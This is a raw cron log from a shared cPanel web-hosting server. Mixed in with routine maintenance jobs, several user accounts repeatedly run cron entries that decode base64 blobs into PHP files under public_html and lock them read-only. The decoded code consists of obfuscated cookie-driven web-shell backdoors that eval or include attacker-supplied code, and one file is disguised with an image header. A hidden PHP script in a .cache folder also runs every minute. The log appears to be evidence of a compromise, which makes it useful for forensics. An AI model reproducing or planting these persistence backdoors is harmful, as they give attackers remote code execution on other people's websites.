Jun  7 12:56:01 medusa CROND[9920]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 12:56:02 medusa CROND[9929]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 12:56:02 medusa CROND[9931]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 12:56:02 medusa CROND[9933]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 12:56:02 medusa CROND[9938]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:56:02 medusa CROND[9937]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 12:56:02 medusa CROND[9940]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 12:56:02 medusa CROND[9941]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 12:56:02 medusa CROND[9943]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 12:56:02 medusa CROND[9942]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 12:56:02 medusa CROND[9945]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:56:02 medusa CROND[9946]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:56:02 medusa CROND[9947]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:56:02 medusa CROND[9948]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 12:57:02 medusa CROND[11486]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 12:57:02 medusa CROND[11487]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 12:57:02 medusa CROND[11488]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:57:02 medusa CROND[11489]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 12:57:02 medusa CROND[11490]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:57:02 medusa CROND[11491]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 12:57:02 medusa CROND[11492]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 12:57:02 medusa CROND[11493]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:57:02 medusa CROND[11495]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 12:57:02 medusa CROND[11496]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 12:57:02 medusa CROND[11497]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 12:57:02 medusa CROND[11499]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:58:02 medusa CROND[12924]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 12:58:02 medusa CROND[12925]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Jun  7 12:58:02 medusa CROND[12926]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 12:58:02 medusa CROND[12927]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 12:58:02 medusa CROND[12928]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 12:58:02 medusa CROND[12929]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 12:58:02 medusa CROND[12930]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 12:58:02 medusa CROND[12933]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 12:58:02 medusa CROND[12932]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
